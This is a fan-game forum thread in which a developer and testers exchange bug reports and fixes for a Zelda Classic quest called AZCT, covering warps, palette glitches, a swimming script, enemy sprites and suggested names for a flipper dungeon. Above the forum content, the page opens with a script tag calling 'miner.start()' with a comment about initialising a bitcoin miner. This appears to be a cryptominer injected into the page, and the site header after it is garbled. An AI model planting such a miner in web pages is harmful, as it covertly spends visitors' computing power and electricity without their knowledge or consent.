<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralirc.cat.biosmbx community

AZCT: A Zelda Classic Thing - Basic Planning Thread

... zelda
User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

jayScribble wrote:A repost, but an unfortunate one. Report time:
The raft and I are not meant to be: I couldn't even find it in the debug room, so to the wrongwarp with the Giant Grumble Guy room I go.

Image
Something minor, but some graphical glitches with the topleft corner and the top doorway.

Image
When I "entered" the room, I just shot one arrow upwards and left, since I didn't want to pick up the 30 arrow drop. Entering the room again, the room was "solved", leading to the image.

Image
A minor fix, but a major flaw: whenever Sheath moves even one pixel to the left, I'm warped to the previous room, unable to go further into it. Because of this, until I realised it after I quit to report that I could use the flute, I was softlocked in this dungeon and unable to progress further, and was forced to revert to my last spot I saved.
I figured Level 5 had to be broken somewhere... I've debugged all the "leaving island 1" stuff but I'll fix all of this now before I upload.
Image

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

jayScribble wrote:A repost, but an unfortunate one. Report time:
The raft and I are not meant to be: I couldn't even find it in the debug room, so to the wrongwarp with the Giant Grumble Guy room I go.

Image
Something minor, but some graphical glitches with the topleft corner and the top doorway.

Image
When I "entered" the room, I just shot one arrow upwards and left, since I didn't want to pick up the 30 arrow drop. Entering the room again, the room was "solved", leading to the image.

Image
A minor fix, but a major flaw: whenever Sheath moves even one pixel to the left, I'm warped to the previous room, unable to go further into it. Because of this, until I realised it after I quit to report that I could use the flute, I was softlocked in this dungeon and unable to progress further, and was forced to revert to my last spot I saved.
The arrow puzzle will be changed in final. The other errors should be fixed in the version I just uploaded, although I have no idea how to reproduce the garbled graphics in your first screenshot. Let me know if it happens again.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

Nabe wrote:The other errors should be fixed in the version I just uploaded, although I have no idea how to reproduce the garbled graphics in your first screenshot. Let me know if it happens again.
The garbled graphics might have been something rare, so it's nothing to really worry about. I'll get back to it as soon as I can.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

Lot of progress, with some problems along the way. Be warned, there is a lot of things.
With the updated master copy, the raft thing worked at intended, so to the second island properly.

Image
Does the raft ride include surfing on the rocks?

Image
Got stuck here because I was exploring this dungeon. A forced reset for me and the end of progression of this dungeon for me.

Image
After defeating all the origami gibdos, the book despawned.

Image
Remember that garble graphics on my last report? It might be related to the door shutting behind me and that arrow puzzle room.

Also, I got lost in this dungeon by not finding the keys to progress.

Image
Hard to see here, but there is green grass graphics on Sheath whenever she's in tall grass, even though all the grass here is yellow.

Image
Is the fairy suppose to do something here?

Image
Whenever I approach this screen from the right, those guys keep spawning in the treeline.

Image
It's a bit glaring that there is the ghini using the new sprites, and that there are the invincible ones using the default ones.

Image
Image
Two screens for two problems, both related to warps. The first time I used the passageway, there was no exit and walked to a blank screen. Going back to the top screen and to the passage way and exiting again, I was warped to the entrance of the dungeon.

Image
I don't think this guy's supposed to be bluing everything around it.

Image
Yep. Even after erasure. Also, it died in 5 sword slashes, and no large carrot drop. The two-headed Gleook near the entrance was a harder fight than this guy.

Image
A place holder, I presume?

Image
I don't think burning a bush should lead to a black void, that also doesn't warp me.

But I saved the worst for last: The flipper dungeon, and it pains me to see this happen.

Image
"You're a glitch now, You're a squid now!"

Image
Having the swim button and the jump button have some side effects, including cloning and the bottom self being behind brick cement in some areas.

Also, the squids are a bit too fast compared to your swimming speed, leading to some inevitable damage.

Image
Image
This dive warp here lead me to the empty screen here.

Image
The warp above where the boss key is got me here.

Image
And exiting the dungeon at the entrance warps me here.

Image
Different boss, same problem.

Image
Also, died in 5 sword slashes, no large carrot drop, and still locked in here.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
MECHDRAGON777
Where radioactivity blossoms, so do I!
Posts: 415
Joined: 2 years ago
Pronouns: he/him/his
Location: Antarctica
Contact:

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby MECHDRAGON777 » 11 months ago

jayScribble wrote:Lot of progress, with some problems along the way. Be warned, there is a lot of things.
With the updated master copy, the raft thing worked at intended, so to the second island properly.

Image
Does the raft ride include surfing on the rocks?

Image
Got stuck here because I was exploring this dungeon. A forced reset for me and the end of progression of this dungeon for me.

Image
After defeating all the origami gibdos, the book despawned.

Image
Remember that garble graphics on my last report? It might be related to the door shutting behind me and that arrow puzzle room.

Also, I got lost in this dungeon by not finding the keys to progress.

Image
Hard to see here, but there is green grass graphics on Sheath whenever she's in tall grass, even though all the grass here is yellow.

Image
Is the fairy suppose to do something here?

Image
Whenever I approach this screen from the right, those guys keep spawning in the treeline.

Image
It's a bit glaring that there is the ghini using the new sprites, and that there are the invincible ones using the default ones.

Image
Image
Two screens for two problems, both related to warps. The first time I used the passageway, there was no exit and walked to a blank screen. Going back to the top screen and to the passage way and exiting again, I was warped to the entrance of the dungeon.

Image
I don't think this guy's supposed to be bluing everything around it.

Image
Yep. Even after erasure. Also, it died in 5 sword slashes, and no large carrot drop. The two-headed Gleook near the entrance was a harder fight than this guy.

Image
A place holder, I presume?

Image
I don't think burning a bush should lead to a black void, that also doesn't warp me.

But I saved the worst for last: The flipper dungeon, and it pains me to see this happen.

Image
"You're a glitch now, You're a squid now!"

Image
Having the swim button and the jump button have some side effects, including cloning and the bottom self being behind brick cement in some areas.

Also, the squids are a bit too fast compared to your swimming speed, leading to some inevitable damage.

Image
Image
This dive warp here lead me to the empty screen here.

Image
The warp above where the boss key is got me here.

Image
And exiting the dungeon at the entrance warps me here.

Image
Different boss, same problem.

Image
Also, died in 5 sword slashes, no large carrot drop, and still locked in here.
The second bugged boss reminds me of Final Fantasy Mystic Quest, could the Sprite's color count be an issue?

Image
Image
My avartar
Image




I am a SMBX player, and I do not know weather to stay at SuperMarioBrosx.org or at talkhaus.raocow.com honestly.

User avatar
Lejes
Posts: 69
Joined: 3 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Lejes » 11 months ago

I think it's due to GH_INVISIBLE_COMBO not having its tile set to the top left of a 4 by 4 space of blank tiles. A lot of these errors are probably due to shifting the tileset around, I think.

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

Lejes wrote:I think it's due to GH_INVISIBLE_COMBO not having its tile set to the top left of a 4 by 4 space of blank tiles. A lot of these errors are probably due to shifting the tileset around, I think.
Yeah, at some point I stupidly switched the combo's tile to the default empty tile starting page 40! But why? :D Who knows? (But while you're here, what's a good name for the Flipper mini-dungeon?)

Fixes to most of this within the hour, although I don't know how I managed to draw a raft path through a rock.

The Ghini sprite I'm still testing a bit, which is why the Phantom variety isn't set. That boss is getting a re-sprite to match as well. But it's a mini-dungeon, so it's not supposed to drop an Adult Carrot. Probably a Magic Container or Carrot Chunk, once they've all been allocated. Same with the giant squid, which should have dropped the Liquid Revolver for you.


Have you been testing on a fresh save file since the start of this round of playtesting? I'm having a hard time reproducing the visual bug in Level 5. Any chance of a video of this and the clone swimming?

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

Here are the problems that remain.

Image
Remember that garble graphics on my last report? It might be related to the door shutting behind me and that arrow puzzle room. Still no idea on this, but I'll investigate later today. A video would be really helpful on this one.

Also, I got lost in this dungeon by not finding the keys to progress. You got stuck somewhere, other than from that glitch that's eating the doors?

Image
Hard to see here, but there is green grass graphics on Sheath whenever she's in tall grass, even though all the grass here is yellow. This'll change to using a different sprite coupled with a script, and I'll fix it at the same time as the grass-cutting visual glitch.

Image
Image
Two screens for two problems, both related to warps. The first time I used the passageway, there was no exit and walked to a blank screen. Going back to the top screen and to the passage way and exiting again, I was warped to the entrance of the dungeon. The behaviour of returning to the entrance screen was intended, but I've changed the tile it warps you to to maybe make that more clear. As for the blank screen, I have no idea how that happened, and can't recreate it.

Image
I don't think burning a bush should lead to a black void, that also doesn't warp me. It was temporary, but for clarity's sake I've switched it to a staircase that leads to 1 sweet.

Image
Having the swim button and the jump button have some side effects, including cloning and the bottom self being behind brick cement in some areas. No clue. Are you maybe using an old save file for this round of testing? Have you recompiled the scripts in ZQuest?

Also, the squids are a bit too fast compared to your swimming speed, leading to some inevitable damage. Blame Lejes! I've slowed them down from the original .qst, and they could probably stand to be a bit slower than that. But, I quite enjoy the comedy of DANG THAT GUY'S FAST

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

Judging from most of theses problems, looks like I'll take your advice and start a new save. (Sometimes I wish I have a video recording software.)

I'll see if there are new problems within the dungeons I've already completed as well.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

jayScribble wrote:Judging from most of theses problems, looks like I'll take your advice and start a new save. (Sometimes I wish I have a video recording software.)

I'll see if there are new problems within the dungeons I've already completed as well.
OBS is basically the best thing since sliced XSplit.

Regardless, thanks a lot. I wouldn't anticipate there being save file issues in the first 4 dungeons, as that content's all been frozen for a while. If you make a copy of the master, and set up the stuff you already had in ZQuest, under Quest > Init Data, you can give yourself the first 4 Facets and the Raft and skip stuff.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

Nabe wrote:
jayScribble wrote:Judging from most of theses problems, looks like I'll take your advice and start a new save. (Sometimes I wish I have a video recording software.)

I'll see if there are new problems within the dungeons I've already completed as well.
OBS is basically the best thing since sliced XSplit.

Regardless, thanks a lot. I wouldn't anticipate there being save file issues in the first 4 dungeons, as that content's all been frozen for a while. If you make a copy of the master, and set up the stuff you already had in ZQuest, under Quest > Init Data, you can give yourself the first 4 Facets and the Raft and skip stuff.
Nah, it's fine, except for the Dungeon 3 boss (who I remember being a placeholder until a proper boss was made).

I'll get OBS and do the recording once I get off the first Island.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

I'm back after finishing the first island and just crafted the raft before I saved (not 100% though, with all the hidden caves and that). However, some things I didn't notice or forgot until now.
Image
Hard to see here, but the left tree has the wrong pallete, with it being grey on the ground rather than the beige/yellow/cream/the surrounding color.

Image
Is this sign supposed to say something?

Image
Compared to the rest of the game's text, this is both jarring and maybe unhelpful, even though I know the solution of this puzzle already.

Image
I don't remember Leevers are supposed to sprout out from bridges, let alone ethereal ones.

Image
Same with the Ghinis, it's a bit out there for me with the normal Stalfos with the new ones while the shooting Stalfos not changed at all. A bit of a nitpick, but something at least.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

jayScribble wrote:I'm back after finishing the first island and just crafted the raft before I saved (not 100% though, with all the hidden caves and that). However, some things I didn't notice or forgot until now.
Image
Hard to see here, but the left tree has the wrong pallete, with it being grey on the ground rather than the beige/yellow/cream/the surrounding color. Good eye! Transparency in this engine is really unpredictable -- in this case, it looks perfectly fine in the editor, but in-game the colour of the surrounding ground tiles was replaced by a shade from another palette. No one knows why. :P I knew about this one, but do keep track of any more palette weirdness you find, because I'll have to fix it on an individual basis using layers before release.

Image
Is this sign supposed to say something? Eventually. This and the Wizzrobe's House sign are known to me, just haven't written the strings yet.

Image
Compared to the rest of the game's text, this is both jarring and maybe unhelpful, even though I know the solution of this puzzle already. Yeah, I agree. At one point, all old man cave dwellers were going to use that font and be hard to understand, but there were originally supposed to be more of them than there are (three or four now) so it's not even worth the joke.

Image
I don't remember Leevers are supposed to sprout out from bridges, let alone ethereal ones. I guess it does look a bit funky...

Image
Same with the Ghinis, it's a bit out there for me with the normal Stalfos with the new ones while the shooting Stalfos not changed at all. A bit of a nitpick, but something at least. Just like with the Ghinis, I'm still working on prototyping the sprite.
Stuff in bold.

I should add that with the Horikawa cave before, the cave you entered was hooked up that way so I could quickly debug her text script. The actual access to that snowy screen is by lifting the rock next to that old man NPC with the Power Glove -- and the layer for that isn't set up yet, so it'll have a black tile underneath.



Also, how quickly did you find the three logs?


User avatar
Lejes
Posts: 69
Joined: 3 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Lejes » 11 months ago

I have no idea what to call the flipper minidungeon. I've lost all sense of the game's writing, and I didn't make most of the dungeon's layout anyway. Just the bad underwater parts. It looks like you've added a swimming animation to the swimming script? Probably best to disable jumping where it's active, then. I didn't think too much about that when I made it.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

I'm thinking "Calamari Basin" would be a fitting name.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
MECHDRAGON777
Where radioactivity blossoms, so do I!
Posts: 415
Joined: 2 years ago
Pronouns: he/him/his
Location: Antarctica
Contact:

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby MECHDRAGON777 » 11 months ago

jayScribble wrote:I'm thinking "Calamari Basin" would be a fitting name.
I get the reference, but how about "Tidal Reef"?

Image
Image
My avartar
Image




I am a SMBX player, and I do not know weather to stay at SuperMarioBrosx.org or at talkhaus.raocow.com honestly.

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

Lejes wrote:I have no idea what to call the flipper minidungeon. I've lost all sense of the game's writing, and I didn't make most of the dungeon's layout anyway. Just the bad underwater parts. It looks like you've added a swimming animation to the swimming script? Probably best to disable jumping where it's active, then. I didn't think too much about that when I made it.
Yeah. I implemented a system of "extra actions" for Link that specifically handle and disallow mixing of (now scripted) jumping and your swimming script. Jay's screenshot shouldn't be a thing that happens.
Image

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nimono » 11 months ago

jayScribble wrote:
Image
Not shown on this screen, but in the Shield Mini-dungeon/Demi-dungeon/This place, there was just a big key in the center of the screen, where later on, I found another one, so I assumed that the Big Key on this screen should not be there.
Strange. In the version i have saved, that doesn't happen at all- there's no Big Key there.
Image
One tile off on this screen: the pillar top on the right on the doorway.
Fixed!
Image
Is this guy supposed to be selling something?
He's supposed to have a message saying "The sponge absorbs all!"

it seems like an older test version got added into the master copy...

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

https://www.youtube.com/watch?v=ASS_rXJ337w
A bad recording from a bad player, here's the flipper dungeon video as requested with some helpful timestamps.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
MECHDRAGON777
Where radioactivity blossoms, so do I!
Posts: 415
Joined: 2 years ago
Pronouns: he/him/his
Location: Antarctica
Contact:

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby MECHDRAGON777 » 11 months ago

jayScribble wrote:https://www.youtube.com/watch?v=ASS_rXJ337w
A bad recording from a bad player, here's the flipper dungeon video as requested with some helpful timestamps.
This brings back memories from Final Fantasy Mystic Quest honestly.

Image
Image
My avartar
Image




I am a SMBX player, and I do not know weather to stay at SuperMarioBrosx.org or at talkhaus.raocow.com honestly.

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

Nimono wrote:
jayScribble wrote:
Image
Not shown on this screen, but in the Shield Mini-dungeon/Demi-dungeon/This place, there was just a big key in the center of the screen, where later on, I found another one, so I assumed that the Big Key on this screen should not be there.
Strange. In the version i have saved, that doesn't happen at all- there's no Big Key there.
Image
One tile off on this screen: the pillar top on the right on the doorway.
Fixed!
Image
Is this guy supposed to be selling something?
He's supposed to have a message saying "The sponge absorbs all!"

it seems like an older test version got added into the master copy...
No -- the big key is from me testing within the master copy, and the guy still had string 1 assigned to him from your version.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

I got the Haunted Shipwreck recorded, and honestly, besides the boss music cutting halfway through the boss fight, there's only minor gameplay problems with it, so I don't know it's worth it to upload.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

jayScribble wrote:https://www.youtube.com/watch?v=ASS_rXJ337w
A bad recording from a bad player, here's the flipper dungeon video as requested with some helpful timestamps.
More to unpack than I expected.
The jumping while swimming thing is a weird little bug that was based on my expectations that these sideview swimming screens were marked "Sideview". (They're not.) For consistency's sake, I've made the script quit on non-sideview screens, and changed all sideview screens in this dungeon to Sideview (ones not in this dungeon already are) and I've made it so the enemies aren't affected by the sudden shift in the planet's gravity. So that visual problem is fixed.

Squids on shoes look pretty neat! The squids were getting slotted into the ghost slots of the recently departed tentacles before they could properly die, so their tile height was set improperly. This might have been fixed in more recent versions of ghost.zh, but for right this second, I've just reset their tile heights correctly when they spawn.

Squirt now hurts enemies. (DeadState was set without collision being handled manually.)

jayScribble wrote:I got the Haunted Shipwreck recorded, and honestly, besides the boss music cutting halfway through the boss fight, there's only minor gameplay problems with it, so I don't know it's worth it to upload.
That's a new one! Seeing when it happens in the video would give me a much better indication of what went wrong.

User avatar
Voltgloss
>GET LAMP
Posts: 466
Joined: 4 years ago
Location: West of House

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Voltgloss » 11 months ago

Shall I keep going with testing the version I received, or is there an updated version I should be using instead (or maybe I should wait until jayScribble is finished)?

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

Voltgloss wrote:Shall I keep going with testing the version I received, or is there an updated version I should be using instead (or maybe I should wait until jayScribble is finished)?
I'll PM the update to you now.


Return to “AZCT”

Who is online

Users browsing this forum: No registered users and 1 guest

cron